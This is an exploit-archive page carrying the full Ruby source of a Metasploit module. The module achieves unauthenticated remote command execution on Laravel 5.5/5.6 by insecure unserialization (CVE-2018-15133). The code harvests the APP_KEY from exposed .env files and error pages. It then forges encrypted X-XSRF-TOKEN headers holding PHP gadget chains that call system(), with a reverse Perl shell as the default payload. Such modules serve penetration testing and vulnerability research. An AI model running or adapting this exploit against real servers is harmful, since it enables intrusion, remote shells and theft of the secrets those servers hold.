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PHP Laravel Framework Token Unserialize Remote Command Execution

PHP Laravel Framework Token Unserialize Remote Command Execution
Posted Jul 15, 2019
Authored by aushack, Stale Pettersen | Site metasploit.com

This Metasploit module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x up to 5.6.29. Remote command execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php. Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY. Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix. In some cases the APP_KEY is leaked which allows for discovery and exploitation.

tags | exploit, remote, web, php, vulnerability
advisories | CVE-2017-16894, CVE-2018-15133
MD5 | 7094c48d642dbb2c66067663c6ef39d9

PHP Laravel Framework Token Unserialize Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'PHP Laravel Framework token Unserialize Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29.
Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to
an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php.
Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY.
Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix.
In some cases the APP_KEY is leaked which allows for discovery and exploitation.
},
'DisclosureDate' => '2018-08-07',
'Author' =>
[
'Ståle Pettersen', # Discovery
'aushack', # msf exploit + other leak
],
'References' =>
[
['CVE', '2018-15133'],
['CVE', '2017-16894'],
['URL', 'https://github.com/kozmic/laravel-poc-CVE-2018-15133'],
['URL', 'https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30'],
['URL', 'https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f5073835083a0']
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultTarget' => 0,
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
'Payload' => { 'DisableNops' => true },
'Targets' => [[ 'Automatic', {} ]],
))

register_options([
OptString.new('TARGETURI', [ true, 'Path to target webapp', '/']),
OptString.new('APP_KEY', [ false, 'The base64 encoded APP_KEY string from the .env file', ''])
])
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
})

# Can be 'XSRF-TOKEN', 'X-XSRF-TOKEN', 'laravel_session', or $appname_session... and maybe more?
unless res && res.headers && res.headers.to_s =~ /XSRF-TOKEN|laravel_session/i
return CheckCode::Unknown
end

auth_token = check_appkey
if auth_token.blank? || test_appkey(auth_token) == false
vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
return CheckCode::Detected
end

random_string = Rex::Text.rand_text_alphanumeric(12)

1.upto(4) do |method|
vuln = generate_token("echo #{random_string}", auth_token, method)

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'headers' => {
'X-XSRF-TOKEN' => "#{vuln}",
}
})

if res.body.include?(random_string)
return CheckCode::Vulnerable
# Not conclusive but witnessed in the wild
elsif res.body.include?('Method Not Allowed')
return CheckCode::Safe
end
end
CheckCode::Detected
rescue Rex::ConnectionError
CheckCode::Unknown
end

def env_leak
key = ''
vprint_status 'Checking for CVE-2017-16894 .env information leak'
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '.env'),
'method' => 'GET'
})

# Good but may be other software. Can also check for 'APP_NAME=Laravel' etc
return key unless res && res.body.include?('APP_KEY') && res.body =~ /APP_KEY\=base64:(.*)/
key = $1

if key
vprint_good "APP_KEY Found via CVE-2017-16894 .env information leak: #{key}"
return key
end

vprint_status 'Website .env file exists but didn\'t find a suitable APP_KEY'
key
end

def framework_leak(decrypt_ex = true)
key = ''
if decrypt_ex
# Possible config error / 0day found by aushack during pentest
# Seen in the wild with recent releases
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'headers' => {
'X-XSRF-TOKEN' => Rex::Text.rand_text_alpha(1) # May trigger
}
})

return key unless res && res.body.include?('DecryptException') && res.body.include?('APP_KEY')
else
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST'
})

return key unless res && res.body.include?('MethodNotAllowedHttpException') && res.body.include?('APP_KEY')
end
# Good sign but might be more universal with e.g. 'vendor/laravel/framework' ?

# Leaks all environment config including passwords for databases, AWS, REDIS, SMTP etc... but only the APP_KEY appears to use base64
if res.body =~ /\>base64:(.*)\<\/span\>/
key = $1
vprint_good "APP_KEY Found via Laravel Framework error information leak: #{key}"
end

key
end

def check_appkey
key = datastore['APP_KEY'].present? ? datastore['APP_KEY'] : ''
return key unless key.empty?

vprint_status 'APP_KEY not set. Will try to find it...'
key = env_leak
key = framework_leak if key.empty?
key = framework_leak(false) if key.empty?
key.empty? ? false : key
end

def test_appkey(value)
value = Rex::Text.decode_base64(value)
return true if value && value.length.to_i == 32

false
end

def generate_token(cmd, key, method)
# Ported phpggc Laravel RCE php objects :)
case method
when 1
payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:15:"Faker\Generator":1:{s:13:"' + "\x00" + '*' + "\x00" + 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
when 2
payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"' + "\x00" + '*' + "\x00" + 'listeners";a:1:{s:' + cmd.length.to_s + ':"' + cmd + '";a:1:{i:0;s:6:"system";}}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
when 3
payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":1:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:39:"Illuminate\Notifications\ChannelManager":3:{s:6:"' + "\x00" + '*' + "\x00" + 'app";s:' + cmd.length.to_s + ':"' + cmd + '";s:17:"' + "\x00" + '*' + "\x00" + 'defaultChannel";s:1:"x";s:17:"' + "\x00" + '*' + "\x00" + 'customCreators";a:1:{s:1:"x";s:6:"system";}}}'
when 4
payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
end

cipher = OpenSSL::Cipher.new('AES-256-CBC') # Or AES-128-CBC - untested
cipher.encrypt
cipher.key = Rex::Text.decode_base64(key)
iv = cipher.random_iv

value = cipher.update(payload_decoded) + cipher.final
pload = Rex::Text.encode_base64(value)
iv = Rex::Text.encode_base64(iv)
mac = OpenSSL::HMAC.hexdigest('SHA256', Rex::Text.decode_base64(key), iv+pload)
iv = iv.gsub('/', '\\/') # Escape slash
pload = pload.gsub('/', '\\/') # Escape slash
json_value = %Q({"iv":"#{iv}","value":"#{pload}","mac":"#{mac}"})
json_out = Rex::Text.encode_base64(json_value)

json_out
end

def exploit
auth_token = check_appkey
if auth_token.blank? || test_appkey(auth_token) == false
vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
return
end

1.upto(4) do |method|
sploit = generate_token(payload.encoded, auth_token, method)

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'headers' => {
'X-XSRF-TOKEN' => sploit,
}
}, 5)

# Stop when one of the deserialization attacks works
break if session_created?

if res && res.body.include?('The MAC is invalid|Method Not Allowed') # Not conclusive
print_status 'Target appears to be patched or otherwise immune'
end
end
end
end

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